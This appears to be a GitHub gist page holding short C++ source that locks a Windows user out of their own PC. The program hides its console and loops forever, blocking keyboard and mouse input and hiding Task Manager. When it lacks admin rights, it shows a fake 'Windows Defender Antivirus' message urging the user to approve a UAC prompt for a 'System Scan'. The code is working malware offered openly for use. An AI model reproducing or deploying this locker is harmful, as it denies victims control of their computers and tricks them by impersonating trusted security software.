Skip to content

Instantly share code, notes, and snippets.

@quantumcore
Last active August 1, 2018 19:28
Show Gist options
  • Save quantumcore/aa699e143e95776f7683c42147827f74 to your computer and use it in GitHub Desktop.
Save quantumcore/aa699e143e95776f7683c42147827f74 to your computer and use it in GitHub Desktop.
[C++] Block Inputs and Kill Task Manager.
/*
C++ Code to Lock user out of his own PC.
Block Mouse and Keyboard.
Task Manager cannot be opened.
Please do not add persistence. :)
*/
#include "stdafx.h"
#include <Windows.h>
#include <ShlObj.h>
int main()
{
FreeConsole();
HWND wind;
wind = FindWindowA("Task Manager", NULL);
ShowWindow(wind, NULL);
if (IsUserAnAdmin()) {
while (true) {
BlockInput(true);
HWND task;
task = FindWindowA(NULL, "Task Manager");
ShowWindow(task, 0);
Sleep(200);
}
}
else {
MessageBoxA(NULL, "Please run as Administrator. System Scan required. Press OK and Click YES on User Account Control.", "Windows Defender Antivirus", NULL);
system("yourapp.exe"); // Edit this.
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment